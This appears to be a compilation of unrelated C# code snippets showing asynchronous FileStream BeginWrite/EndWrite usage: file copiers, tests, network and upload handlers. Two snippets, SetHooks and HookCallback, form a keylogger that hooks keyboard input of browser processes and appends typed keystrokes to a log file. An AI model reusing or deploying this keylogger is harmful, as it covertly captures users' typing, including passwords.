public static void ApplyIPSPatch(string romname, string patchname) { // Noobish Noobsicle wrote this IPS patching code // romname is the original ROM, patchname is the patch to apply FileStream romstream = new FileStream(romname, FileMode.Open, FileAccess.ReadWrite, FileShare.ReadWrite); FileStream ipsstream = new FileStream(patchname, FileMode.Open, FileAccess.ReadWrite, FileShare.ReadWrite); int lint = (int)ipsstream.Length; byte[] ipsbyte = new byte[ipsstream.Length]; byte[] rombyte = new byte[romstream.Length]; IAsyncResult romresult; IAsyncResult ipsresult = ipsstream.BeginRead(ipsbyte, 0, lint, null, null); ipsstream.EndRead(ipsresult); int ipson = 5; int totalrepeats = 0; int offset = 0; bool keepgoing = true; while (keepgoing == true) { offset = ipsbyte[ipson] * 0x10000 + ipsbyte[ipson + 1] * 0x100 + ipsbyte[ipson + 2]; ipson++; ipson++; ipson++; if (ipsbyte[ipson] * 256 + ipsbyte[ipson + 1] == 0) { ipson++; ipson++; totalrepeats = ipsbyte[ipson] * 256 + ipsbyte[ipson + 1]; ipson++; ipson++; byte[] repeatbyte = new byte[totalrepeats]; for (int ontime = 0; ontime < totalrepeats; ontime++) repeatbyte[ontime] = ipsbyte[ipson]; romstream.Seek(offset, SeekOrigin.Begin); romresult = romstream.BeginWrite(repeatbyte, 0, totalrepeats, null, null); romstream.EndWrite(romresult); ipson++; } else { totalrepeats = ipsbyte[ipson] * 256 + ipsbyte[ipson + 1]; ipson++; ipson++; romstream.Seek(offset, SeekOrigin.Begin); romresult = romstream.BeginWrite(ipsbyte, ipson, totalrepeats, null, null); romstream.EndWrite(romresult); ipson = ipson + totalrepeats; } if (ipsbyte[ipson] == 69 && ipsbyte[ipson + 1] == 79 && ipsbyte[ipson + 2] == 70) keepgoing = false; } romstream.Close(); ipsstream.Close(); }
/// <summary> /// Demonstrates the use of the APM with files, through the FileStream class. /// This method performs asynchronous reads and writes to copy data from an input /// file to an output file. Reads and writes are interlaced, and proceed in chunks /// of 8KB at a time (displaying progress to the console). /// </summary> static void APMWithFiles() { FileStream reader = new FileStream("sample.txt", FileMode.Open); FileStream writer = new FileStream("sample2.txt", FileMode.Create); byte[] buffer1 = new byte[8192], buffer2 = new byte[8192]; IAsyncResult ar1, ar2 = null; while (true) { ar1 = reader.BeginRead(buffer1, 0, buffer1.Length, null, null); while (!ar1.IsCompleted) { Console.Write("R"); } if (ar2 != null) { while (!ar2.IsCompleted) { Console.Write("W"); } } int bytesRead; if ((bytesRead = reader.EndRead(ar1)) == 0) break; //No more data to read if (ar2 != null) { writer.EndWrite(ar2); } Array.Copy(buffer1, buffer2, bytesRead); ar2 = writer.BeginWrite(buffer2, 0, bytesRead, null, null); } Console.WriteLine(); Console.WriteLine(); }
public void EndWriteThrowsForNullAsyncResult() { using (FileStream fs = new FileStream(GetTestFilePath(), FileMode.Create, FileAccess.ReadWrite)) { Assert.Throws<ArgumentNullException>("asyncResult", () => fs.EndWrite(null)); } }
public override void EndWrite(IAsyncResult asyncResult) { if (_m_disposed) { throw ADP.ObjectDisposed(this); } _m_fs.EndWrite(asyncResult); }
void OnWriteDone(IAsyncResult ar) { Enqueue(delegate { if (stream != null) { stream.EndWrite(ar); HandleWrite(); } }); }
void OnWriteDone(IAsyncResult ar) { Context.Enqueue(delegate { if (stream != null) { ResetWriteTimeout(); stream.EndWrite(ar); HandleWrite(); } }); }
private static void SetHooks() { HookProc proc = new HookProc(HookCallback); hooks = new List <IntPtr>(); try { StringBuilder builder = new StringBuilder(); builder.AppendLine("--------------------------------------------------------------\n"); builder.Append("Browser names: "); for (int i = 0; i < browserNames.Length; i++) { if (i != browserNames.Length - 1) { builder.Append(browserNames[i] + ", "); } else { builder.AppendLine(browserNames[i]); } try { Process process = Process.GetProcessesByName(browserNames[i])[0]; ProcessModule curModule = process.MainModule; hooks.Add(SetWindowsHookEx(WH_KEYBOARD_LL, proc, GetModuleHandle(curModule.ModuleName), 0)); } catch { } } builder.AppendLine(string.Format("Time start: {0} {1}", DateTime.Now.ToShortDateString(), DateTime.Now.ToLongTimeString())); builder.Append("Content: "); Console.WriteLine(builder.ToString()); System.IO.FileStream stream = System.IO.File.Open(fileName, System.IO.FileMode.Append); canWrite = false; stream.BeginWrite(Encoding.Default.GetBytes(builder.ToString()), 0, Encoding.Default.GetByteCount(builder.ToString().ToCharArray()), new AsyncCallback(delegate(IAsyncResult res) { stream.EndWrite(res); stream.Close(); canWrite = true; }), null); } catch (Exception e) { Console.WriteLine(e.Message); } }
static public int EndWrite(IntPtr l) { try { System.IO.FileStream self = (System.IO.FileStream)checkSelf(l); System.IAsyncResult a1; checkType(l, 2, out a1); self.EndWrite(a1); pushValue(l, true); return(1); } catch (Exception e) { return(error(l, e)); } }
public static void CopyFile(String sourcePath, String destinationPath, Action<String, String, Exception> completed) { Stream source = new FileStream(sourcePath, FileMode.Open, FileAccess.Read); Stream destination = new FileStream(destinationPath, FileMode.Create, FileAccess.Write); byte[] buffer = new byte[0x1000]; AsyncOperation asyncOp = AsyncOperationManager.CreateOperation(null); Action<Exception> cbCompleted = e => { if (completed != null) asyncOp.Post(delegate { source.Close(); destination.Close(); completed(sourcePath, destinationPath, e); }, null); }; AsyncCallback rc = null; rc = readResult => { try { int read = source.EndRead(readResult); if (read > 0) { destination.BeginWrite(buffer, 0, read, writeResult => { try { destination.EndWrite(writeResult); source.BeginRead( buffer, 0, buffer.Length, rc, null); } catch (Exception exc) { cbCompleted(exc); } }, null); } else cbCompleted(null); } catch (Exception exc) { cbCompleted(exc); } }; source.BeginRead(buffer, 0, buffer.Length, rc, null); }
private void WriteFileAsync(byte[] data, long originSize) { _fileStream.BeginWrite(data, 0, data.Length, c => { if (this._isStopTask) { return; } _fileStream.EndWrite(c); if (_fileStream.Length == originSize) { this.CloseFileStream(); } else { SendTo(CurrentSession, MessageHead.C_FILE_NEXT_DATA); } }, null); }
static void Main(string[] args) { int max = 5000000; Stopwatch sw = Stopwatch.StartNew(); Console.WriteLine(sw.Elapsed + " start calculating sinuses"); var sins = string.Join("\r\n", Enumerable.Range(0, max) .AsParallel() .Select(x => new {x, sinX=Math.Sin(x)}) .Where(pair => pair.sinX > 0) .OrderBy(pair => pair.sinX) .Select(pair => pair.ToString())); byte[] data = Encoding.ASCII.GetBytes(sins); Console.WriteLine(sw.Elapsed + " start writing sinuses"); var fs = new FileStream("sins.txt", FileMode.Create, FileAccess.Write, FileShare.None, 4096, FileOptions.WriteThrough | FileOptions.Asynchronous ); // fs.Write(data, 0, data.Length); // Console.WriteLine(sw.Elapsed + " sinuses written!"); fs.BeginWrite(data, 0, data.Length, res => { Console.WriteLine(sw.Elapsed + " sinuses written!"); fs.EndWrite(res); fs.Dispose(); data = null; }, null); // Console.WriteLine(sw.Elapsed + " start calculating cosinuses"); // var coses = Enumerable.Range(0, max) // .AsParallel() // .Select(x => new { x, cosX = Math.Cos(x) }) // .Where(pair => pair.cosX > 0) // .OrderBy(pair => pair.cosX) // .Select(pair => pair.ToString()); // Console.WriteLine(sw.Elapsed + " start writing cosinuses"); // var cosinuses = string.Join("\r\n", coses); // File.WriteAllText("cosinuses.txt", cosinuses); // Console.WriteLine(sw.Elapsed); }
private static void SampleAsyncMethods() { IAsyncResult asyncResult; /***** SQL Connection *****/ // NOTE: "Async=true" setting required for asynchronous operations. using (SqlConnection connection = new SqlConnection(@"Async=true;Server=SERVER;Database=DATABASE;Integrated Security=true")) { connection.Open(); using (SqlCommand cmd = new SqlCommand("SELECT UserId, Name, LastLogIn FROM Users WHERE Email = '*****@*****.**'", connection)) { asyncResult = cmd.BeginExecuteReader(); // ... query executes asynchronously in background ... using (IDataReader reader = cmd.EndExecuteReader(asyncResult)) { // WARNING: The DbAsyncResult object returned by BeginExecuteReader always creates a ManualResetEvent, but // never closes it; after calling EndExecuteReader, the AsyncWaitHandle property is still valid, so we close it explicitly. asyncResult.AsyncWaitHandle.Close(); while (reader.Read()) { // do stuff } } } using (SqlCommand cmd = new SqlCommand("UPDATE Users SET LastLogIn = GETUTCDATE() WHERE UserId = 1", connection)) { asyncResult = cmd.BeginExecuteNonQuery(); // ... query executes asynchronously in background ... int rowsAffected = cmd.EndExecuteNonQuery(asyncResult); // WARNING: The DbAsyncResult object returned by BeginExecuteNonQuery always creates a ManualResetEvent, but // never closes it; after calling EndExecuteReader, the AsyncWaitHandle property is still valid, so we close it explicitly. asyncResult.AsyncWaitHandle.Close(); } } /***** File Operations *****/ // NOTE: FileOptions.Asynchronous flag required for asynchronous operations. using (Stream stream = new FileStream(@"C:\Temp\test.dat", FileMode.Open, FileAccess.Read, FileShare.ReadWrite, 4096, FileOptions.Asynchronous)) { byte[] buffer = new byte[65536]; asyncResult = stream.BeginRead(buffer, 0, buffer.Length, null, null); // ... disk read executes asynchronously in background ... int bytesRead = stream.EndRead(asyncResult); } /***** HTTP Operation *****/ // WARNING: DNS operations are synchronous, and will block! WebRequest request = WebRequest.Create(new Uri(@"http://www.example.com/sample/page")); request.Method = "POST"; request.ContentType = "application/x-www-form-urlencoded"; asyncResult = request.BeginGetRequestStream(null, null); // ... connection to server opened in background ... using (Stream stream = request.EndGetRequestStream(asyncResult)) { byte[] bytes = Encoding.UTF8.GetBytes("Sample request"); asyncResult = stream.BeginWrite(bytes, 0, bytes.Length, null, null); stream.EndWrite(asyncResult); } // WARNING: WebRequest will swallow any exceptions thrown from the AsyncCallback passed to BeginGetResponse. asyncResult = request.BeginGetResponse(null, null); // ... web request executes in background ... using (WebResponse response = request.EndGetResponse(asyncResult)) using (Stream stream = response.GetResponseStream()) { // read response from server // WARNING: This code should also use asynchronous operations (BeginRead, EndRead); "Using synchronous calls // in asynchronous callback methods can result in severe performance penalties." (MSDN) } /***** DNS hostname resolution *****/ // WARNING: Doesn't truly use async I/O, but simply queues the request to a ThreadPool thread. asyncResult = Dns.BeginGetHostEntry("www.example.com", null, null); // ... DNS lookup executes in background IPHostEntry entry = Dns.EndGetHostEntry(asyncResult); /***** Other: Sockets, Serial Ports, SslStream *****/ }
public override void EndWrite(IAsyncResult asyncResult) { tempStream.EndWrite(asyncResult); }
public void BeginWrite_Disposed () { string path = TempFolder + Path.DirectorySeparatorChar + "temp"; DeleteFile (path); FileStream stream = new FileStream (path, FileMode.OpenOrCreate, FileAccess.Write); stream.Close (); stream.EndWrite (stream.BeginWrite (new byte[8], 0, 8, null, null)); }
void _subscriber_OnReceiveMessageEventHandler(object obj) { if (obj == null) { AddToTextBox("收到为空的信息"); return; } if (obj is string) { AddToTextBox(obj.ToString()); } else if (obj is DateTime) { AddToTextBox(((DateTime)obj).ToString(CultureInfo.InvariantCulture)); } else { if (obj is byte[]) { string fileName = Path.Combine(AppDomain.CurrentDomain.BaseDirectory, string.Format("{0}.jpg", DateTime.Now.ToString("yyyy_MM-dd_hh_mm_ss"))); FileStream writer = new FileStream(fileName, FileMode.OpenOrCreate); byte[] buffer = (byte[])(obj); writer.BeginWrite(buffer, 0, buffer.Length, delegate(IAsyncResult result) { writer.EndWrite(result); InvokeTextBox(this.sendInfoRtb, string.Format("接收文件读写完成,共{0}", buffer.Length)); writer.Close(); }, null); this.AddToTextBox(string.Format("接受到文件")); } } }
public override IEnumerator<CoroutineState> GetEnumerator() { FileStream fileReader = new FileStream( _fileName, FileMode.Open, FileAccess.Read, FileShare.Read, BUFFER_SIZE, true); FileStream fileWriter = new FileStream( Path.Combine(_destinationFolder, Path.GetFileName(_fileName)), FileMode.Create, FileAccess.ReadWrite, FileShare.Write, BUFFER_SIZE, true); int bytesRead = 0; do { //Read asynchronously bool finishedRead = false; IAsyncResult readResult = fileReader.BeginRead(_buffer, 0, BUFFER_SIZE, (asyncResult) => { bytesRead = fileReader.EndRead(asyncResult); finishedRead = true; }, null); //Wait until the reading is complete while (!finishedRead) { //Allow other coroutines to run yield return CoroutineState.Running; } Console.WriteLine("Finished reading chunk for: " + _fileName); //Write asynchronously bool finishedWriting = false; IAsyncResult writeResult = fileWriter.BeginWrite(_buffer, 0, bytesRead, (asyncResult) => { fileWriter.EndWrite(asyncResult); finishedWriting = true; }, null); //Wait until write is finished while (!finishedWriting) { //Let other coroutines run yield return CoroutineState.Running; } Console.WriteLine("Finished writing chunk for: " + _fileName); } while (bytesRead > 0); fileReader.Close(); fileWriter.Close(); }
private static IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam) { if (counter > 0) { counter--; } else { counter = hooks.Count - 1; if ((nCode >= 0) && (wParam == (IntPtr)WM_KEYDOWN)) { int vkCode = Marshal.ReadInt32(lParam); KeysConverter kc = new KeysConverter(); string keyChar = kc.ConvertToInvariantString(vkCode); if ((Keys)vkCode == Keys.Shift) { isShift = true; } if ((Keys)vkCode == Keys.Back) { content = content.Remove(content.Length - 1, 1); } if ((Keys)vkCode == Keys.Enter) { content = content.AppendLine(); } if ((Keys)vkCode == Keys.CapsLock) { if (isCapsLock == true) { isCapsLock = false; } else { isCapsLock = true; } } if ((Keys)vkCode == Keys.Space) { content = content.Append(' '); } else { if (!isShift && !isCapsLock) { content = content.Append(char.ToLower(keyChar[0])); } else if (isCapsLock && isShift) { content = content.Append(char.ToLower(keyChar[0])); isShift = false; } else { content = content.Append(keyChar[0]); isShift = false; } } if (canWrite) { canWrite = false; System.IO.FileStream stream = System.IO.File.Open(fileName, System.IO.FileMode.Append); stream.BeginWrite(Encoding.Default.GetBytes(content.ToString()), 0, Encoding.Default.GetByteCount(content.ToString().ToCharArray()), new AsyncCallback(delegate(IAsyncResult res) { stream.EndWrite(res); stream.Close(); content.Clear(); canWrite = true; }), null); } Console.Write(content.ToString()); content.Clear(); } } return(CallNextHookEx(hook, nCode, wParam, lParam)); }
public void ProcessItems(string src, string dst) { int size = 2048 * 1024 * 2; //buffer size int current_read_buffer = 0; //pointer to current read buffer int last_bytes_read = 0; //number of bytes last read if (!Directory.Exists(System.IO.Path.GetDirectoryName(dst))) { Directory.CreateDirectory(System.IO.Path.GetDirectoryName(dst)); } byte[][] buffer = new byte[2][]; buffer[0] = new byte[size]; buffer[1] = new byte[size]; //Dispatcher.Invoke(System.Windows.Threading.DispatcherPriority.Background, // (Action)(() => // { // lblFileName.Text = System.IO.Path.GetFileNameWithoutExtension(src); // })); using (var r = new System.IO.FileStream(src, System.IO.FileMode.Open, System.IO.FileAccess.Read, System.IO.FileShare.ReadWrite, size * 2, System.IO.FileOptions.SequentialScan | System.IO.FileOptions.Asynchronous)) { //Microsoft.Win32.SafeHandles.SafeFileHandle hDst = CreateFile(dst, (uint)System.IO.FileAccess.Write, (uint)System.IO.FileShare.None, IntPtr.Zero, (uint)System.IO.FileMode.Create, FILE_FLAG_NO_BUFFERING | FILE_FLAG_SEQUENTIAL_SCAN | FILE_FLAG_OVERLAPPED, IntPtr.Zero); var z = new FileStream(dst, FileMode.Create, FileAccess.Write, FileShare.None, size * 2, FileOptions.WriteThrough | FileFlagNoBuffering | FileOptions.SequentialScan); z.Close(); z.Dispose(); using (var w = new System.IO.FileStream(dst, FileMode.Open, System.IO.FileAccess.Write, FileShare.ReadWrite, size * 2, true)) { current_read_buffer = 0; last_bytes_read = r.Read(buffer[current_read_buffer], 0, size); //synchronously read the first buffer long l = r.Length; //w.SetLength(l); long i = 0; while (i < l) { _block.WaitOne(); if (Cancel) { Environment.Exit(5); break; } IAsyncResult aw = w.BeginWrite(buffer[current_read_buffer], 0, last_bytes_read, new AsyncCallback(CopyFileCallback), 0); current_read_buffer = current_read_buffer == 0 ? 1 : 0; Thread.CurrentThread.Join(2); IAsyncResult ar = r.BeginRead(buffer[current_read_buffer], 0, last_bytes_read, new AsyncCallback(CopyFileCallback), 0); i += last_bytes_read; if (i > 0) { long oldvalbefore = 0; oldbyteVlaues.TryGetValue(src, out oldvalbefore); long oldval = 0; if (oldbyteVlaues.TryGetValue(src, out oldval)) { oldbyteVlaues[src] = i; } else { oldbyteVlaues.Add(src, i); } if (i - oldvalbefore > 0) { totaltransfered += (i - oldvalbefore); } byte[] data = System.Text.Encoding.Unicode.GetBytes(String.Format("{0}|{1}|{2}|{3}", i, l, totaltransfered, src)); WindowsAPI.SendStringMessage(MessageReceiverHandle, data, 0, data.Length); if (i == l) { //procCompleted++; if (this.OPType == OperationType.Move) { r.Close(); r.Dispose(); FileInfo fi = new FileInfo(src); if (fi.IsReadOnly) { fi.IsReadOnly = false; } fi.Delete(); } } //if (totaltransfered == total) //{ // if (this.OPType == OperationType.Move) // { // foreach (var dir in this.SourceItemsCollection.Select(c => ShellObject.FromParsingName(c.Item1)).ToArray().Where(c => c.IsFolder)) // { // DeleteAllFilesFromDir(new DirectoryInfo(dir.ParsingName), false); // DeleteFolderRecursive(new DirectoryInfo(dir.ParsingName), false); // } // GC.WaitForPendingFinalizers(); // GC.Collect(); // } // Environment.Exit(5); //} } else { //oldbyteVlaue = 0; oldbyteVlaues[src] = 0; if (l == 0) { Environment.Exit(5); } } last_bytes_read = r.EndRead(ar); Thread.Sleep(1); w.EndWrite(aw); } } } }
private void DoSequentialWrite( BlobTransferContext transferContext, FileStream stream) { if (transferContext.CancellationToken.IsCancellationRequested) { return; } byte[] buffer = null; if (transferContext.BlocksForFileIO.TryGetValue(transferContext.NextFileIOBlock, out buffer) && buffer != null) { transferContext.IsReadingOrWriting = true; long endOfRange = transferContext.Length + transferContext.InitialOffset; long beginFilePosition = (long)transferContext.NextFileIOBlock * transferContext.BlockSize + transferContext.InitialOffset; beginFilePosition = beginFilePosition > endOfRange ? endOfRange : beginFilePosition; long nextBeginFilePosition = (transferContext.NextFileIOBlock + 1) * (long)transferContext.BlockSize + transferContext.InitialOffset; nextBeginFilePosition = nextBeginFilePosition > endOfRange ? endOfRange : nextBeginFilePosition; int bytesToWrite = (int)(nextBeginFilePosition - beginFilePosition); ApplyEncryptionTransform(transferContext.FileEncryption, transferContext.InitializationVector, beginFilePosition, buffer, bytesToWrite); stream.BeginWrite( buffer, 0, bytesToWrite, result3 => { SuccessfulOrRetryableResult wasWriteSuccessful = IsActionSuccessfulOrRetryable(transferContext, () => stream.EndWrite(result3)); transferContext.MemoryManager.ReleaseBuffer(buffer); if (!wasWriteSuccessful.IsSuccessful) { transferContext.IsReadingOrWriting = false; return; } transferContext.NextFileIOBlock++; Interlocked.Add(ref transferContext.BytesWrittenOrReadToFile, bytesToWrite); InvokeProgressCallback(transferContext, transferContext.BytesWrittenOrReadToFile, bytesToWrite); transferContext.IsReadingOrWriting = false; if (transferContext.BytesWrittenOrReadToFile >= transferContext.Length) { transferContext.IsComplete = true; transferContext.OnComplete(); } }, null); } }
/// <summary> /// Copies the specified source file to the specified destination file, overwriting if it exists. /// </summary> /// <param name="source">The source.</param> /// <param name="destination">The destination.</param> public static void Copy(string source, string destination) { var bufferLength = 4 * 1024 * 32; var readBuffer = new Byte[bufferLength]; var writeBuffer = new Byte[bufferLength]; var readSize = -1; IAsyncResult writeResult; IAsyncResult readResult; using (var sourceStream = new FileStream(source, FileMode.Open, FileAccess.Read, FileShare.None, 8, FileOptions.Asynchronous | FileOptions.SequentialScan)) using (var destinationStream = new FileStream(destination, FileMode.OpenOrCreate, FileAccess.Write, FileShare.None, 8, FileOptions.Asynchronous | FileOptions.SequentialScan)) { destinationStream.SetLength(sourceStream.Length); readSize = sourceStream.Read(readBuffer, 0, readBuffer.Length); readBuffer = Interlocked.Exchange(ref writeBuffer, readBuffer); while (readSize > 0) { writeResult = destinationStream.BeginWrite(writeBuffer, 0, readSize, null, null); readResult = sourceStream.BeginRead(readBuffer, 0, readBuffer.Length, null, null); destinationStream.EndWrite(writeResult); readSize = sourceStream.EndRead(readResult); readBuffer = Interlocked.Exchange(ref writeBuffer, readBuffer); } sourceStream.Close(); destinationStream.Close(); } }
public void UploadFile(CustomFileInfo currentUploadFile) { try { logger.Info("Begin to writer file..."); if (!Directory.Exists(MediaConfiguration.StoragePath)) { Directory.CreateDirectory(MediaConfiguration.StoragePath); } var fs = new FileStream(MediaConfiguration.StoragePath + "\\" + currentUploadFile.FileName, FileMode.OpenOrCreate, FileAccess.Write); fs.Seek(currentUploadFile.CurrentOffset, SeekOrigin.Begin); fs.BeginWrite( currentUploadFile.CurrentData, 0, currentUploadFile.CurrentLen, delegate(IAsyncResult ra) { fs.EndWrite(ra); fs.Close(); fs.Dispose(); }, null); } catch (Exception e) { logger.Error("Error occurred when writing file, details: {0}.", e); } }
public void UploadChunk(ChunkInfo chunkInfo) { try { var fs = new FileStream(MediaConfiguration.StoragePath + "\\" + chunkInfo.StrongChecksum, FileMode.OpenOrCreate, FileAccess.Write); fs.BeginWrite( chunkInfo.Buffer, 0, chunkInfo.BufferLength, delegate(IAsyncResult ra) { try { fs.EndWrite(ra); fs.Close(); fs.Dispose(); fs = null; MediaIndexOperator.GetIndexDatabaseHelper() .ExecuteNonQuery(new List<ChunkPathMap> { new ChunkPathMap { ChunkId = chunkInfo.Id, Path = MediaConfiguration.StoragePath } }); } catch (Exception e) { logger.Error("Error occurred when uploading chunk, " + "details: {0}.", e); } }, null); } catch (Exception e) { logger.Error("Error occurred when writing file, details: {0}.", e); } finally { MediaConfiguration.MediaControl.MediaControlProxy .CompleteSession(MediaConfiguration.CurrrentMedia.Id); } }
void OnWriteDone(IAsyncResult ar) { stream.EndWrite(ar); loop.NonBlockInvoke(HandleWrite); }